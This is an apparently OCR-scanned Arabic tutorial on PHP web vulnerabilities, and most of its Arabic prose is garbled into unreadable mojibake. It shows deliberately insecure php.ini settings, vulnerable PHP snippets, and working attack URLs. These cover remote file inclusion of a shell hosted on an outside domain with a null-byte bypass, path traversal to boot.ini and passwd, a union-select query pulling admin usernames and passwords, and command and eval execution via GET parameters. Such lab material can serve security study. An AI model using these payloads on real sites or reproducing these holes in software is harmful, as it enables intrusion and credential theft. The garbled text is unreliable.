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hula e padd 8 cuall e Jary a1 AppServ
254l 2,59 dliadall sl ¢« (Apache,Php5,Mysql,PhpMyAdmin)
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C:\AppServ\www : (oo )l alall

127.0.0.1 sl localhost : @dsall Jsaall

s localhost/phpmyadmin : Phpmayadmin
.127.0.0.1/phpmyadmin

ans bl e juasa JS Wl <l il GLES) ke Jigas Jaf (s
M Dt 5l Clalac YU =l phplini sas php = o=lall Cald) e il
e Caldl aa gy pSall Jras LgiuSe 13 5 dpuliall Ja gy 8l 5 63
PHP Edit the & Configuration Server _ial s .C:\WINDOWS\php.ini
.php.ini Configuration File
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safe_mode = off
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disabled_functions = N/A
e IS Jaidal Ay ol ey 5 Y
register_globals = on
Sy 43y Hl st (50 ariall (e aadll JLdinY
allow_url_include = on
(2 oe) A Glele e Xl ¢ RFI/LFI 338 Jary e
allow_url_fopen =on
(3 o) a s Glike (oo Xl ¢ RFI/LFI 385 Jam ands
magic_quotes_gpc = off
s O\ Al el Al i Lo leny oy of o 3 Y
short_tag_open = on
(<2 2>) el mny dlawtiony el Gy el Jlasind Jal (g
file_uploads = on
DLlal) (amy a8 ) 3y Lasha
display_errors = on
il Sl 8 Ll o paig sl cUadY) (5 5
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.upgrade.php
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Remote File Inclusion
a5 S5 ) sha Ll cphp (e @il Jlaal) & dala s <l el el e
&o\;&ﬁ;@&&\g&;&#g\ ‘QAJA\@uOAa&gbm\_j
&sall Gala cale alS 18 gl

3 il e A gl J) gl
require, require_once, include, include_once
Pth\ é)A CA\J d\jﬂ\ Y e Q\.A}LLAS\ (e J.J)Aﬂ
: Jla
aoa a oked Al s LY Caai a8 sall i )l Alaall Jd test.php <ale ol
;U (s sinall 4
<?php
//Remote File Inclusion

include $_GET['page'];

?>

& sall o) sic calall ausl &5 a8 gall () sie a5k e Calall il g xiiaiadl Caadl
flas fell jela 13l odlef al 3 ,LaY) Cuad

Warning: include() [function.include]: Failed opening " for inclusion (include_path=".;C:\php5\pear')
in C:\AppServAwww\bugs\test.php on line 3

uS\AA)g_k;mo):\cu&u\jccﬂj)@u\#@abﬂ\wﬂa&ﬂuﬁ&h\

Gasb oo Cale slediuly a8 4l test.php  wales paldll (5 siaall & LaadUl)
oo il Jasion page =4 e (A8 (53R danl = all Caldll g cinclude Ala
Dl JSAN o Al ia Las «GET ok

localhost/test.php?page=file

elediul 3y 53 Dl Liauly Lay Ledlaind (39 ke o puatiall dad 8 oSl et
s AUl Jal e s el 4 cPhpshell ‘ﬂﬂﬂ_gé}d\é&@ﬁjﬁ%&&d}g

localhost/test.php?page=http://no-exploit.com/tools/phpshell.txt
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localhost/test.php?page=http://no-exploit.com/tools/shell.txt%00
localhost/test.php?page=http://no-exploit.com/tools/phpshell.txt?
1ALl

p JU) daaee e 32l i Al aldll (s ginal) 050 ha¥) Gany B

<?php
//Remote File Inclusion
include S_GET['page']."php";

>

J\&Y\M%)page )@gopmﬁ\c\ﬁgﬂguiuﬂ\m%
s IS 13gs Uayl ) o 40l asiis $Gad) Jie albaiad Wila ¢ 13k php

http://no-exploit.com/tools/phpshell.txt.php

L JS5 " NULLBYTE ' an) e (3llay5 %00 ALy dead ol Wiz jn of Jull
+ il JSal e JMiay) maal GV e V) e 320 o) ey

localhost/test.php?page=http://no-exploit.com/tools/shell.txt%00
- SN 1agn Y ki) 2% 38 5 )5

localhost/test.php?page=http://no-exploit.com/tools/phpshell.txt?
Vs LeY oans Lo S emay imy aeall ool Juaiall o )l SY) JMiwY) sa
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Local File Inclusion
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<?php
//Local File Inclusion
include "page/".S_GET['page'];
>
alas (3 page oedall () e Al Cale gledinly a iy o3led aill (o) Jaadlall
(5515 Al Loty 2485 085l le il 5 i 3§ 35 ol o34 a5 «page
: il Jia php g=i e
localhost/bugs/test.php?page=../../../boot.ini

e Wl calaall (e 5 A1 xd L/ cwindows alail il boot.ini <l 36l 3
passwd ke e 5 i gulat laxat [inux

Local File Disclosure /Download
Clalall JS 1585 g8 5 il oda Lol cdatd COlilal) (jamy 36) 8 e Jaad AL 5 a1
Lelansg

readfile, file, file_get contents, fopen, highlight_file, show_source.

php adse galy )l sall 48 yadl
: JBa
<?php
//Local File Disclosure/Download
show_source (S_GET['page']);
>
G sina sa e Jde Jad show_source Adlall o) Bale 13) 4 sDe il 3aalia any
o Jii page  side (8 ()3 danl Cile (5 sina (e ol 43 & ot (e ale
C Al IS e YY) ey Nl GET Gk
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localhost/bugs/test.php?page=page.php
Léd g V) el ) Lo IS L aldd) Caldll (g gina Wl (ase 48) aa la jlaiia) e
- JUia ch\ﬂ@&ﬁjM\M&ﬁdPoy\ui calall 3¢ 13
<?php
//Local File Disclosure/Download
Spage = S_GET['page'];
header("Pragma: public");
header("Expires: 0");

header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Content-Type: application/force-download");

header( "Content-Disposition: attachment; filename=".basename(Spage));

//header( "Content-Description: File Transfer");
@readfile(Spage);

>

Jreaill U Caldll aaion g Gbaall Gaudail] yuds

Remote SQL Injection
5ol i Jin Al (ailiad Led s cilibull ae) 8 (e il laall il dals 5 535 2
O e 62 yall 38a3 ol (e Apa U gyl bl LS g Liagl cilalall ad ) 5 il
Ui Jaan s 3o el UL 3208 (e cilharall ) jaiul

- oaill 138 24 &5 hugs as! Jead by 3acld Las)

CREATE TABLE "bugs’ (
“id” int(11) NOT NULL auto_increment,

‘bug’ varchar(255) NOT NULL,
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PRIMARY KEY ('id")
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

INSERT INTO “bugs” VALUES (1, 'No-exploit.com');

Juat¥) il glre lanliy Loy pe Uy dalall daieall (ai 138
<?php
//Remote Sql Injection

mysql_connect("localhost","root","123123");

mysql_select_db("bugs");

Squery = mysql_query("select * from bugs where id = $id");
while(Sdata = mysql_fetch_array(Squery)){

echo $data['id']." : ".Sdata['bug']."<br/>";

?>
Al dsaall Y il
localhost/sql.php?id=1
D IS maadl 1 2 " ol (e glan (et ke dandia Ll (5 iu
localhost/sql.php?id=1"

id Leas Jaid (3 paie (e (58 bugs Jsaad) Ll el g ola a5 dlad el
order by 8 Lall 3k e oSU Sy g dath aad )y ardinss Lilaay Lae . bug s
O oo 8 Uak (g1 50 e ladll Hleda) a2 (e JEYI QL8 YT (G a5 o8 1 de g

p oaoal) S Uadll elay SV LY

localhost/sql.php?id=1 union select 1,2—
e ey i S Gl slaall jelain Ua gdndiall 82 o1 )l ) geda Jaadlin

localhost/sql.php?id=1 union select version(),database()—
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e slaa )l Jal e el dalall sac i) avd 5 mysql el (i a L
JG Je &5 password s user Cleslas 45 admin 4l O a8l Jgas (e
LY

localhost/sql.php?id=1 union select user,password from admin—

Remote Command Execution
<console ji dos = Sl f\j}[\ JS.UL@AJL;A.ILQJ:\ELG_\‘ gt Lgnagalian 3 a8

system, exec, passthru, shell _exec

;- Jla
<?php
//Remote Command Execution

system(S_GET['cmd']);

>
c ) Jie ey e Jeantl 2emd=dir dla) g dalal) dlinia e oY1 J20)
localhost/sql.php?cmd=dir

bl o e landi el 5V Jai el alaall cilile ey el Ll Jaadls
R TOREY|

Remote Code Execution
SalS o2diy o 81 Led oy yai (5 g lile La php 35S 2455 3 )25

: d\fm
<?php
//Remote Command Execution

eval(S_GET['code']);

>
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localhost/sql.php?code=phpinfo();
sl 5 el Jie el 5Y) 285 Cany Lelaidl cphp Gl slaa (ia paies

localhost/sql.php?code=system(dir);
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